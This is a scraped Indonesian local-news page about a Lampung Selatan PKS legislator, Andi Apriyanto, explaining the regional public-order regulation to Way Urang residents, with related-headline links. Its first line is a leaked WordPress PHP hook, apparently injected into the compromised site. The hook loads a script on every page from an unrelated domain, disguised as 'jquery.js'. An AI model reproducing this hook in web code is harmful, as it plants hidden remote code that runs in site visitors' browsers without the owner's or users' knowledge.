add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Anggota Fraksi PKS DPRD Lampung Selatan Andi Sosialisasi Perda Ketertiban Umum ke Warga Way Urang - Atmosfirnews.id

Anggota Fraksi PKS DPRD Lampung Selatan Andi Sosialisasi Perda Ketertiban Umum ke Warga Way Urang

- Jurnalis

Sabtu, 8 Juni 2024 - 19:16 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lampung Selatan, Atmosfirnews.id — Anggota DPRD Lampung Selatan dari Fraksi PKS Andi Apriyanto, mensosialisasikan peraturan daerah (Sosperda) di Kelurahan Way Urang, Kalianda, Sabtu (8/6/2024)

Andi Apriyanto mengatakan, tujuan utama digelarnya Sosperda ini, untuk mewujudkan melek hukum bagi masyarakat Lampung Selatan.

Dengan demikian, seluruh masyarakat mengetahui hak dan kewajiban yang perlu dilakukan dalam kehidupan sehari-hari di lingkungan.

“Kami harap dengan Sosperda ini, masyarakat tidak buta terhadap produk hukum yang dikeluarkan. Ini kegiatan sangat penting, dewan yang langsung menjelaskan pada warga, agar tahu Perda apa saja yang sudah ada dan bisa diimplementasikan dalam keseharian,” kata Andi Apriyanto.

Baca Juga :  Direktur Utama BUMD PT. Lampung Selatan Maju Resmi Jadi Tersangka Dugaan Korupsi Rp517 Juta

Legeslatif dari Fraksi PKS itu menegaskan, setiap anggota diberikan mandat untuk mensosialisasikan Perda dimasing-masing Dapilnya, dengan didampingi oleh narasumber serta moderator ahli dibidang tersebut.

“Kami presentasikan bersama narasumber yang qualified, kami juga adakan sesi tanya jawab, agar warga semakin paham tentang Perda yang kami bahas,” ujar Andi Apriyanto

Kali ini Perda yang disosialisasikan yakni Perda Nomor 3 Tahun 2020 tentang Ketentraman, Ketertiban Umum, dan Perlindungan Masyarakat.

Baca Juga :  Bambang Hartono Beri Materi Kemitraan Pers dan Penyelenggara Pilkada Lampung Selatan

Perda ini sangat penting untuk mengedukasi warga mengenai ketentraman, ketertiban umum, dan perlindungan masyarakat.

Menurutnya, salah satu penyebab terjadinya kerusuhan dan tidak harmonis antara warga, karena kurangnya pengetahuan tentang ketentraman, ketertiban umum dan saling melindungi sehingga terjadi suasana yang tidak kondusif.

Sehingga Andi ingin mengedukasi warga agar dapat memahami Perda tentang ketenteraman, ketertiban umum dan perlindungan masyarakat. (**)

Berita Terkait

Ketua DPRD Lampung Selatan Meriahkan HUT RI ke-81 dengan Berbagai Perlombaan
AKBP Deddy Kurniawan Resmi Pimpin Polres Lampung Selatan, Ajak Personel Lanjutkan Pengabdian yang Profesional dan Humanis
DPRD Lampung Selatan Tinjau PT Ciomas, Perusahaan Tegaskan Kelola Limbah Sesuai Prosedur
Ketua DPRD Lampung Selatan: Hari Anak Nasional Jadi Momentum Membangun Generasi Emas Indonesia
Dugaan Pungli Laporan Keuangan di Dinkes Lampung Selatan: 28 Puskesmas Disebut Jadi “Sapi Perahan” Tiap Tahun
Dugaan Pungli Laporan Keuangan Puskesmas di BPKAD Lamsel Menguap di Inspektorat?
Piala Bupati Diprotes, Drag Race di Jalan Umum Lampung Selatan Dinilai Legalkan Balap Liar
Wow…Polda Lampung Amankan 15,7 kg Sabu di Bakauheni
Berita ini 8 kali dibaca

Berita Terkait

Sabtu, 15 Agustus 2026 - 14:11 WIB

Ketua DPRD Lampung Selatan Meriahkan HUT RI ke-81 dengan Berbagai Perlombaan

Jumat, 7 Agustus 2026 - 21:46 WIB

AKBP Deddy Kurniawan Resmi Pimpin Polres Lampung Selatan, Ajak Personel Lanjutkan Pengabdian yang Profesional dan Humanis

Jumat, 31 Juli 2026 - 07:30 WIB

DPRD Lampung Selatan Tinjau PT Ciomas, Perusahaan Tegaskan Kelola Limbah Sesuai Prosedur

Kamis, 23 Juli 2026 - 16:10 WIB

Ketua DPRD Lampung Selatan: Hari Anak Nasional Jadi Momentum Membangun Generasi Emas Indonesia

Kamis, 4 Juni 2026 - 16:05 WIB

Dugaan Pungli Laporan Keuangan di Dinkes Lampung Selatan: 28 Puskesmas Disebut Jadi “Sapi Perahan” Tiap Tahun

Berita Terbaru